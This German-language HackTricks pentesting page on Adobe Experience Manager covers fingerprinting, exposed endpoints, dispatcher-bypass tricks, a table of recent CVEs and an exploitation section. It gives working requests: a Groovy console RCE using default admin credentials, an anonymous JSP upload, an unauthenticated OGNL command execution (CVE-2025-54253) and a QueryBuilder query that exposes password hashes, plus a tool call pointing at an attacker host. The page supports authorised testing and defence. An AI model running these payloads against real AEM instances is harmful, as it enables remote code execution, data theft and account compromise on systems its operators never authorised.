AEM (Adobe Experience Manager) Pentesting
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Adobe Experience Manager (AEM, Teil der Adobe Experience Cloud) ist ein Enterprise-CMS, das auf Apache Sling/Felix (OSGi) und einem Java Content Repository (JCR) läuft. Aus Angreiferperspektive exponieren AEM-Instanzen sehr häufig gefährliche Entwicklungsendpunkte, schwache Dispatcher-Regeln, Standardanmeldedaten und eine lange Liste von CVEs, die vierteljährlich gepatcht werden.
Die folgende Checkliste konzentriert sich auf die extern erreichbare (unauth) Angriffsfläche, die in realen Engagements (2022-2026) immer wieder auftaucht.
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Weitere schnelle Indikatoren:
/etc.clientlibs/static path present (returns JS/CSS)./libs/granite/core/content/login.htmllogin page with the “Adobe Experience Manager” banner.</script><!--/* CQ */-->Kommentar am Ende des HTML.
2. Wertvolle nicht-authentifizierte Endpunkte
| Path | Was du bekommst | Hinweise |
|---|---|---|
/.json, /.1.json | JCR nodes via DefaultGetServlet | Oft blockiert, aber Dispatcher bypass (siehe unten) funktioniert. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak of page tree, internal paths, user names. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 403 by default; if exposed & creds found ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Ermöglicht authentifizierten Nutzern das Hochladen von Content-Paketen → JSP-Payload-Upload. |
/etc/groovyconsole/** | AEM Groovy Console | Bei Offenlegung → beliebige Groovy / Java-Ausführung. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | Information disclosure. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | XSS-Vektor. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | Auf falsch konfigurierten Forms-Installationen (CVE-2025-54253) führt dieser Endpoint nicht-authentifiziertes OGNL aus → RCE. |
Dispatcher bypass tricks (funktionieren noch 2025/2026)
Die meisten Produktionsseiten liegen hinter dem Dispatcher (Reverse-Proxy). Filterregeln werden häufig umgangen, indem kodierte Zeichen oder erlaubte statische Erweiterungen missbraucht werden.
- Klassisches Semikolon + erlaubte Dateiendung
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
Wenn der Dispatcher kodierte Slashes erlaubt, liefert dies JSON, selbst wenn /bin eigentlich gesperrt ist.
3. Häufige Fehlkonfigurationen (noch vorhanden in 2026)
- Anonymous POST servlet –
POST /.jsonmit:operation=importerlaubt es, neue JCR-Knoten anzulegen. Das Blockieren von*.jsonPOSTs im Dispatcher behebt das. - World-readable user profiles – Die Standard-ACL gewährt
jcr:readauf/home/users/**/profile/*für alle. - Default credentials –
admin:admin,author:author,replication:replication. - WCMDebugFilter aktiviert ⇒ reflektiertes XSS über
?debug=layout(CVE-2016-7882, immer noch auf Legacy-6.4-Installationen zu finden). - Groovy Console exposed – remote code execution by sending a Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap –
/bin/querybuilder.jsonund/etc/truststore.jsonsind mit%2f/%3Berreichbar, selbst wenn sie durch Pfadfilter blockiert sind. - AEM Forms Struts devMode left enabled –
/adminui/debug?expression=wertet OGNL ohne Authentifizierung aus (CVE-2025-54253), was zu unauth RCE führt; ein damit verbundenes XXE in der Forms-Submission (CVE-2025-54254) erlaubt Datei-Lesezugriff.
4. Jüngste Schwachstellen (Service-Pack-Rhythmus)
| Quartal | CVE / Bulletin | Betroffen | Auswirkung |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Mehrere kritische/gespeicherte XSS → Codeausführung über das author UI. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | Kette zum Umgehen von Sicherheitsfunktionen (Dispatcher auth checker) – Upgrade auf 6.5.24/Cloud 2025.12. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE-Dateilesen, unauthenticated. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Stored XSS und Privilegieneskalation in Communities-Komponenten. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/gespeicherte XSS, beliebige Codeausführung (niedrige Privilegien). |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | DOM-basiertes XSS über manipulierte URL. |
Prüfe immer das APSB-Bulletin, das zum Service-Pack des Kunden passt, und dränge auf die aktuelle Version 6.5.24 (Nov 26, 2025) oder Cloud Service 2025.12. AEM Forms on JEE benötigt sein eigenes Add-on-Hotfix 6.5.0-0108+.
5. Exploitation snippets
5.1 RCE via dispatcher bypass + JSP upload
If anonymous write is possible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Fordere jetzt /content/evil.jsp an – die JSP läuft mit den Rechten des AEM-Prozessbenutzers.
5.2 SSRF to RCE (historisch < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py von aem-hacker automatisiert die gesamte Kette.
5.3 OGNL RCE in AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
Wenn anfällig, enthält der HTTP-Body die Ausgabe des Befehls.
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
Gibt Benutzerknoten zurück, einschließlich rep:password-Hashes, wenn anonyme Lese-ACLs die Standardeinstellung sind.
6. Werkzeuge
- aem-hacker – Multifunktionales Enumeration-Skript, unterstützt dispatcher bypass, SSRF detection, default-creds checks und mehr.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – Erkennt QueryBuilder hash disclosure & encoded-slash bypass automatisch (veröffentlicht Dez 2025).
- Content brute-force – Fordert rekursiv
/_jcr_content.(json|html)an, um versteckte Komponenten zu entdecken. - osgi-infect – Lädt ein bösartiges OSGi-Bundle über
/system/console/bundleshoch, wenn Zugangsdaten verfügbar sind.
Referenzen
- Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


